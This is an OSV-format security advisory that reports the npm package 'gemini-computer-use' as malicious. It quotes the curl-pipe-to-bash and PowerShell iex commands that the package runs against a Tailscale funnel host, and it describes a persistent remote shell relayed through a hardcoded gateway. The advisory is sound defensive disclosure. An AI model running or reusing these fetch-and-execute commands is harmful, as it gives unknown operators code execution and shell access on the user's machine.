{"schema_version":"1.9.2","id":"MAL-2026-16355","published":"2026-09-21T17:21:03Z","modified":"2026-10-29T13:48:10.816286176Z","summary":"Malicious code in gemini-computer-use (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329)\nThe package's `bin/cli.js` — declared as both `main` and `bin` in package.json — unconditionally runs `curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash` on Linux/macOS and the PowerShell `Invoke-RestMethod... | iex` equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any `require('gemini-computer-use')` reaches this code path as well. The fetch target is a Tailscale funnel host (`*.ts.net`) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a `bash_exec` tool and opens an outbound websocket tunnel to a hardcoded gateway (default `https://smart-server.online`, bootstrapped via the same `racknerd-5a24bf9.merino-carob.ts.net` host) over `/sse?user=...&token=...`; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.\n\n## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887)\nThe OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"gemini-computer-use","ecosystem":"npm","purl":"pkg:npm/gemini-computer-use"},"versions":["0.1.2","0.4.3","0.4.5"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"bin/cli.js","sha256":"5597958a888d9b0adc25cbf5b641e86afb88cb0b7005cb5476829f497ea87fbe","tlsh":"e7111ff1867b69fd22e105d00352f52ec47f9000708f84b997aeb1c25b82528121a2eb"},{"path":"core/agent.py","sha256":"4173bbf1f4776fe1194165780cddc694097a97fb0b5a22ae49ed635c74056440","tlsh":"51415020857e002383db31645839a9002679da031705c97ab9cea7742f6963ae2b27ff"},{"path":"install.sh","sha256":"7d237b5291f6ee2ebbd8c5f8cabda2d955ec04ce965a8170c13a02efab041f8a","tlsh":"91e2b661b46051b8301d8c7a597a5c043e26256fca35356cf16ea8d83fb8325eef873b"}],"package_integrity":[{"filename":"gemini-computer-use-0.1.2.tgz","hashes":{"sha1":"5a26b16325e323581f2a7482ee3f48f28f94ffed","sha512_sri":"sha512-CIvqNfwR0x68+a9+bK2u7SiM3HkUgc4kUxoo7EjPG1H4z0dRQ+BZkxRlKq5RyYQBIAF1Scv6xNTpII4bK3Xcaw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gemini-computer-use/MAL-2026-16355.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/gemini-computer-use/v/0.1.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/gemini-computer-use/v/0.4.3"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020266","import_time":"2026-09-21T17:38:31.930019228Z","modified_time":"2026-09-21T17:21:03Z","sha256":"0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847","source":"amazon-inspector","versions":["0.1.2"]},{"import_time":"2026-10-13T23:14:38.876717021Z","modified_time":"2026-10-09T03:31:19Z","sha256":"98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887","source":"ossf-package-analysis","versions":["0.4.3"]},{"import_time":"2026-10-19T02:50:30.574403607Z","modified_time":"2026-10-17T03:20:21Z","sha256":"513ba5f48b8693f11b28ac66d327be4ffaa2975e36746a9de167684f3154a96e","source":"ossf-package-analysis","versions":["0.4.5"]},{"id":"IN-MAL-2026-021855","import_time":"2026-10-29T13:37:13.476545199Z","modified_time":"2026-10-29T13:16:50Z","sha256":"56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329","source":"amazon-inspector","versions":["0.4.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}